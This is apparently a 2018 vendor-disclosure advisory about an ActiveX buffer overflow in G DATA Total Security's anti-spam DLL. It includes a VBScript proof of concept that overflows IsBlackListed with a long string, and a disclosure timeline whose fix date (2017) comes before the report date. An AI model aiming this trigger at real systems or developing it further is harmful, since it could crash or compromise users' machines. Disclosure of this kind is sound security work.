G DATA TOTAL SECURITY version 25.4.0.3 suffers from an active-x buffer overflow vulnerability.
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=====[ Tempest Security Intelligence - ADV-24/2018 ]===
G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow
Author: Filipe Xavier Oliveira
Tempest Security Intelligence - Recife, Pernambuco - Brazil
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* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References
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* System affected : G DATA TOTAL SECURITY [1].
* Software Version : 25.4.0.3 (other versions may also be affected).
* Impact : A user may be affected by opening a malicious black list
email in the antispam filter,
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The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total
Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument.
Through a long input in a member of class called Antispam, isblackedlist
class is vulnerable a buffer overflow.
A poc that causes a buffer overflow :
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' />
<script language='vbscript'>
'for debugging/custom prolog
targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll"
prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long"
memberName = "IsBlackListed"
progid = "GDASPAMLib.AntiSpam"
argCount = 1
arg1=String(14356, "A")
target.IsBlackListed arg1
</script></job></package>
=====[ Timeline of disclosure
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04/10/2018 - Vulnerability reported.
04/17/2018 - The vendor will fix the vulnerability.
05/24/2017 - Vulnerability fixed.
07/12/2018 - CVE assigned [1]
=====[ Thanks & Acknowledgements
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- Tempest Security Intelligence / Tempest's Pentest Team [3]
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[1] https://www.gdatasoftware.com/
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018
[3] https://www.tempest.com.br <https://www.tempest.com.br/>
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Filipe Oliveira
Tempest Security Intelligence